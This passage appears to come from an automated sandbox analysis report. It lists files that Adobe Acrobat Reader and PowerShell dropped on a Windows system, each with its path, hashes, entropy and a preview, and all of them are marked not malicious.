SSDEEP:	6:YEQXJ2HXadvpXkp4nWsGiIPEeOF0YFuKoAvJfFldPeUkwRe9:YvXKXaRosdTeOw5Gz8Ukee9
MD5:	7AA64CCA571E9844BD6F7E72172D0DAB
SHA1:	987C87DE3B41EB2874F49E261032871DA99643DC
SHA-256:	FC53342C356CD1B602A190A2C8D60A37612CB6E87C7FDEA919230ED09505D99D
SHA-512:	973D806F4367F6ECF4665640AD8CD48D598B1E933A77C298B656BA21C8A932802CE5444E3B4D7ED3B666D2308C4B1D6BC6B67AB163B723302237F21F2A0E9870
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.311491641123576
Encrypted:	false
SSDEEP:	6:YEQXJ2HXadvpXkp4nWsGiIPEeOF0YFuKoAvJfzdPeUkwRe9:YvXKXaRosdTeOw5Gb8Ukee9
MD5:	ACF9353E99C487E404C48AB65DE2C1DB
SHA1:	CE9588CAD9CEEF05D0A21222ED135ED645B009E0
SHA-256:	00EC054E193E25E6AD91F3A6A04E9AA99D08C35B6C52F977844012F48226A6FE
SHA-512:	53180BCBC77B7E92B12C12681377B2AC0B2E8B12FBCFB42716D8E38B26463E4EF3C6F5534467907659122AF00F68553FCCAC4CA2A60B2433F85D9D6496E9D146
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291365928749846
Encrypted:	false
SSDEEP:	6:YEQXJ2HXadvpXkp4nWsGiIPEeOF0YFuKoAvJfYdPeUkwRe9:YvXKXaRosdTeOw5Gg8Ukee9
MD5:	F50B44A630CEE19B6553F56FDDAFA268
SHA1:	D03AA6F595F0A8D09E82AB8AF145106179B86841
SHA-256:	6B1DADF8D0F563344824445B2BBAF0851220E41FA80CB2CC406A6AC1F044F57E
SHA-512:	C1819DBDEEDE2B41055C3B06E48381566BEAB475C116DEBEF005768C43B147246857A32998EEC5A5BD52C46E153C7F08053B835C767FC2EC57F73D2F268494BF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.278113134265721
Encrypted:	false
SSDEEP:	6:YEQXJ2HXadvpXkp4nWsGiIPEeOF0YFuKoAvJf+dPeUkwRe9:YvXKXaRosdTeOw5G28Ukee9
MD5:	CA59899E73AA3AFBE7AB4F4CABF6162D
SHA1:	706A3CE4E491DAC80EB90700DB27C2B041AF8329
SHA-256:	F29325C9CBDF6E188AD807AC150D342A6530BF0B2D2CC92916B9EA9474BA0732
SHA-512:	D6356C6C1E2245FDF6F1C22C33057064565A702B69F34DC0FDD2DC81403D6F49265AE2BFBDF5CCF59D96F7BD2151D7C101AA2678EDD7EF86D5F008560B605A1D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.274972367119587
Encrypted:	false
SSDEEP:	6:YEQXJ2HXadvpXkp4nWsGiIPEeOF0YFuKoAvJfbPtdPeUkwRe9:YvXKXaRosdTeOw5GDV8Ukee9
MD5:	2D2D0F7165FF485ACCBE405D4A2BADCB
SHA1:	D55FC85B6B5A8CF3E1DCB1FBBDCE03A045C90B1D
SHA-256:	BFA0B4E195A349AE81FD761EEE6617AA344AADD04F08510151AFF18B06A93307
SHA-512:	7CE3CF85A76D7A539F5377CF04A655D8A9F1CEECAF625C4C39C93A3A2DC6E025BF70F4229E4A8969911506E879117092C208F0435FDE76220C7F8FC951ECA468
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.278854561225668
Encrypted:	false
SSDEEP:	6:YEQXJ2HXadvpXkp4nWsGiIPEeOF0YFuKoAvJf21rPeUkwRe9:YvXKXaRosdTeOw5G+16Ukee9
MD5:	2826648D7D9CE7A406CD3DC94E0CE21A
SHA1:	EC5E3A49412CEF7EEC4036C28285C8C6C0510189
SHA-256:	F960F567A60445A481853315FFB20FAA3A10F53EF2E91E3CD7539FE456DF4438
SHA-512:	032A0CF7D07E1E045C033AF364BC8E853C71E89C0B2288CC70B7211F968D360E0A6878CECF17ECC828D110B1F44A8CF92456ED04981112F9428C74D74010C35F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6567271335439475
Encrypted:	false
SSDEEP:	24:Yv6XaRomeOPamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSPr:Yv1RbeuBgkDMUJUAh8cvMT
MD5:	107CF9CCB129EB150B4DF038DD02FBA9
SHA1:	B46166E1A7693AEA06FE8A4CA7ED96A2FD492CAD
SHA-256:	D637EDC2038A367E4B1E1D0D6D4E2846E7FC69EDE287777212CB11C2EFD4B789
SHA-512:	B5601A8F1C134E07E5614E9AC49E66395BFEE6BEE6D15BBCCB4FBDCF545EDFDBE5BA74ADC982A4EE39E02718802BC9A43658E867B023753559CB78AC055CB656
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.253461296092111
Encrypted:	false
SSDEEP:	6:YEQXJ2HXadvpXkp4nWsGiIPEeOF0YFuKoAvJfshHHrPeUkwRe9:YvXKXaRosdTeOw5GUUUkee9
MD5:	9DAA21662A60FFE14A6A4D70775AD207
SHA1:	000AE248B1D0AA714B795A61F327143DD1CB66AC
SHA-256:	C9286AE66BF8AC3A3B80A976D1AE58FE36222AE347EC1C28DDFD00DF0E1DB708
SHA-512:	AAC85317D05831521B823BBD1958D7CABA6A1284967889163548E526A6ACF2EB5607B3CA98BD0F81F2579D473B25A47B9E44123216AE0404045445EC3673E2D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2745637443997015
Encrypted:	false
SSDEEP:	6:YEQXJ2HXadvpXkp4nWsGiIPEeOF0YFuKoAvJTqgFCrPeUkwRe9:YvXKXaRosdTeOw5GTq16Ukee9
MD5:	61CFB5F07346160D4F02251C0CADEA32
SHA1:	4E8A9DF9D8B0DB34074B0127AF47D06C5A337B6F
SHA-256:	D09880B3D233F6EF7BF2B8D58D7B4B7F4A95E5B058CBB905FBB10F921F93DDE9
SHA-512:	6DCF754497E88F41DF5C4D843D2A8094FDD1EC6E0CDACC72DF7D08B35B9FCC0CE92BE1A119D353C63ADB0761CB41CCFC557F84E8AE8AD9856AB1652B7C92B238
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ed9d2189-9527-4268-9cce-5d542eddfe0c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736695452435,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.150549531954843
Encrypted:	false
SSDEEP:	24:YXGOafHX3ayLx0r3fWETUqqJBGf0Oc4MjQYj0Sw3agUCo2K2LS6CbmLcaQwaT5HZ:YI/0rvMJPljf3TvQFLcvdN9BxC2
MD5:	5E7F61DD3CDAF3235E73483C484AEF45
SHA1:	EA2806691F3952E904B14D3153F0EE4D0BE3F92E
SHA-256:	6A806710A25A292993F4A7CC0906E2836EBF54B96EA30A0E5D4247501D5953B1
SHA-512:	C76570BEA739BEB39725D54BD1784023E1B99997491D85B1296ECC23DFA5140B8829BA9031D99BD58BAE5ACC6639A93E228D004E9D14BB3932FF462AEAF39608
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ffc220caff7d8c5ca95455cee6074bc6","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736515947000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"702b7ef8ba7b23240a900d3e05a959fe","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736515947000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"537b9b9a8ba99900c4bf112c7d74fc83","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736515947000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"25e9f53bffb76fbec524a45a526cad61","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736515947000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"5c59ce3511a847438d6911d9b8c00382","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736515947000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5327e859c2c600b48a7b4842dd04b17e","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.453363179794541
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsNlr:lNVmsw3SHtbDbPe0K3+fDZd0
MD5:	6DBCBD4EC68B8C6A841895B2DBF7A804
SHA1:	3F03B0C830B8AE7803F237E2A9185944D1FE9F16
SHA-256:	F7CF2132F0D147DA2243BEEEAFA0EAC0066CDAD5EF287DB9DDB667AA4FD6E19D
SHA-512:	17DC575D1F7D652032920039D6EAA6A5725EFB671C9FA24FF94C67A520C7DC699C036F2E821154B02114C1C9B8586822719395C7B1C202113E0A2BDE64BB3284
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9592824829236701
Encrypted:	false
SSDEEP:	48:7M+rvrBd6dHtbGIbPe0K3+fDy2dsYRqFl2GL7msk:7n3SHtbDbPe0K3+fDZdjKVmsk
MD5:	991B8464436567C0AC12E93291D8226B
SHA1:	014BDAD10BDF48664B1970AE1B65C74EA09DE3D8
SHA-256:	45CDA25DC80D861E3E15B64C87C7D9475F0A9CD270ED45534B48F77B863BDA41
SHA-512:	8EF8F2B228CA553DA0D95DCC0201699BB13BD429067E198F30B5A26940CCD084DE97C5F27445096FA1CDC0CA48141C6B58A82BA4BA90957CA751A2B3582C88A7
Malicious:	false
Preview:	.... .c.....<........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgswM1B9qAv2Se32dUM8tjVnBAqYyu:6a6TZ44ADEswM1DqAeSeHBRK
MD5:	B4C68CD477BE9437121FF5105F02BD75
SHA1:	3476B69CE6BC7209292DB3630A7387C01B04668D
SHA-256:	1594B2E4AC2BF58D8EAF864663754546F42BA49DCE3EBEE5CD67CEF4F2D9F75A
SHA-512:	5F1097FCEF785C1BD69D1D8228ADD64ABEDE0D91B2523625A9572061229D00ADAE32BF671D107DAA08AD1196F8D5E3386AC92DAD00D3DAD7605E0FF8D19FEA6D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIcac49.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5193370621730837
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsl1Nz:Qw946cPbiOxDlbYnuRK+bzl15
MD5:	3E4316BE71C8F20EAF3CBA5D7AFCABA3
SHA1:	CF66068B94B8A15D03CFBE0144459F27B3B71273
SHA-256:	8A96D3C9EE52B93C27A4D74FB92577D1E2C3ECFC9B4991727EBD6A6E577C4943
SHA-512:	BB3449BE22451D72B29887ECC1DE55D982B860DA7F2CB505C5D0A2A74187BDE4B5848D1A1E0FE90C0D1A83EAC0ACF0E4E095A0F184CA8ADE7E834D8FA642BA48
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.3.2.:.2.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_apoqnjfw.vce.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bovdhvo1.bm4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-32-19-412.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.37574749770765
Encrypted:	false
SSDEEP:	384:d6E7u7F727A7j7f87b7u7k7S7xv7F7jUBUYP9PRPTP3+e+K+B+Y+L62P2z2FYHZ+:oFs
MD5:	1DB6396C6E67E4FD1A63B733F0D1E059
SHA1:	07667E677172E4FE697FE82563C8B8C1EF0DDC7F
SHA-256:	C3CB564CA7DFAFC59BAB7746A823145785101D79A008553E1895EB3B4138757F
SHA-512:	CCF7B461384A3A986B35CB5153FC347E1F480A30E8B71E09D04C485996B34AE262D020006C320FC82C6DD14B265AAA7B4B2C521364FDF916881FFFC37C344F48
Malicious:	false
Preview:	SessionID=c07b4bb3-d141-40dc-b413-6f2a1799fccf.1736515939450 Timestamp=2025-01-10T08:32:19:450-0500 ThreadID=7816 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c07b4bb3-d141-40dc-b413-6f2a1799fccf.1736515939450 Timestamp=2025-01-10T08:32:19:451-0500 ThreadID=7816 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c07b4bb3-d141-40dc-b413-6f2a1799fccf.1736515939450 Timestamp=2025-01-10T08:32:19:451-0500 ThreadID=7816 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c07b4bb3-d141-40dc-b413-6f2a1799fccf.1736515939450 Timestamp=2025-01-10T08:32:19:451-0500 ThreadID=7816 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c07b4bb3-d141-40dc-b413-6f2a1799fccf.1736515939450 Timestamp=2025-01-10T08:32:19:451-0500 ThreadID=7816 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.409703005927922
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRIFFZ+pAZnIsiIcZ:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRX
MD5:	871BA85153D888F70BF15947F1BEF66F
SHA1:	25A6F54BD4BB406DB0101993C4CD83AC7660585D
SHA-256:	53D2A33D52AC496FA6E6B1C7904E3A13421D1ABDA28C048E0927A5A3C9FFF25B
SHA-512:	430C9E46736C9816B2DE86DCFFDF793603D4055D792A326CDD873EA32898A9F9A97DA47129FA789AAF9866B7088EDFCE77050B6FF7AD51D0EEE35AB62315F334
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0afa2f39-fdc6-43c8-a206-a630da42e608.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
